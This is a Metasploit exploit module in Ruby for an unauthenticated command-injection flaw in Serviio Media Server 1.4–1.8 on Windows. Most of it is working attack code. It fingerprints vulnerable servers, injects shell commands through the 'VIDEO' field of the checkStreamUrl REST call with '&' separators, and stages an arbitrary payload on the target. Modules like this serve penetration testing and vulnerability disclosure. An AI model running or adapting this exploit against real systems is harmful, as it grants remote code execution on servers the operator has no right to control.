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Serviio Media Server checkStreamUrl Command Execution

Posted on 17 May 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Serviio Media Server checkStreamUrl Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command execution vulnerability
in the console component of Serviio Media Server versions 1.4 to 1.8 on
Windows operating systems.

The console service (on port 23423 by default) exposes a REST API which
which does not require authentication.

The 'action' API endpoint does not sufficiently sanitize user-supplied data
in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
used in a call to cmd.exe resulting in execution of arbitrary commands.

This module has been tested successfully on Serviio Media Server versions
1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['OSVDB', '41961'],
['PACKETSTORM', '142387'],
['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
],
'Platform' => 'win',
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => 'May 3 2017',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(23423) ])
end

def check
res = execute_command('')

unless res
vprint_status 'Connection failed'
return CheckCode::Unknown
end

if res.headers['Server'] !~ /Serviio/
vprint_status 'Target is not a Serviio Media Server'
return CheckCode::Safe
end

if res.headers['Server'] !~ /Windows/
vprint_status 'Target operating system is not vulnerable'
return CheckCode::Safe
end

if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
vprint_status 'Unexpected reply'
return CheckCode::Safe
end

if res.headers['Server'] =~ %r{Serviio/(1.[4-8])}
vprint_status "#{peer} Serviio Media Server version #{$1}"
return CheckCode::Appears
end

CheckCode::Safe
end

def execute_command(cmd, opts = {})
data = { 'name' => 'checkStreamUrl', 'parameter' => ['VIDEO', "" &#{cmd}&"] }
send_request_cgi('uri' => normalize_uri(target_uri.path, 'rest', 'action'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => data.to_json)
end

def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') unless check == CheckCode::Appears
execute_cmdstager(:temp => '.', :linemax => 8000)
end
end

 

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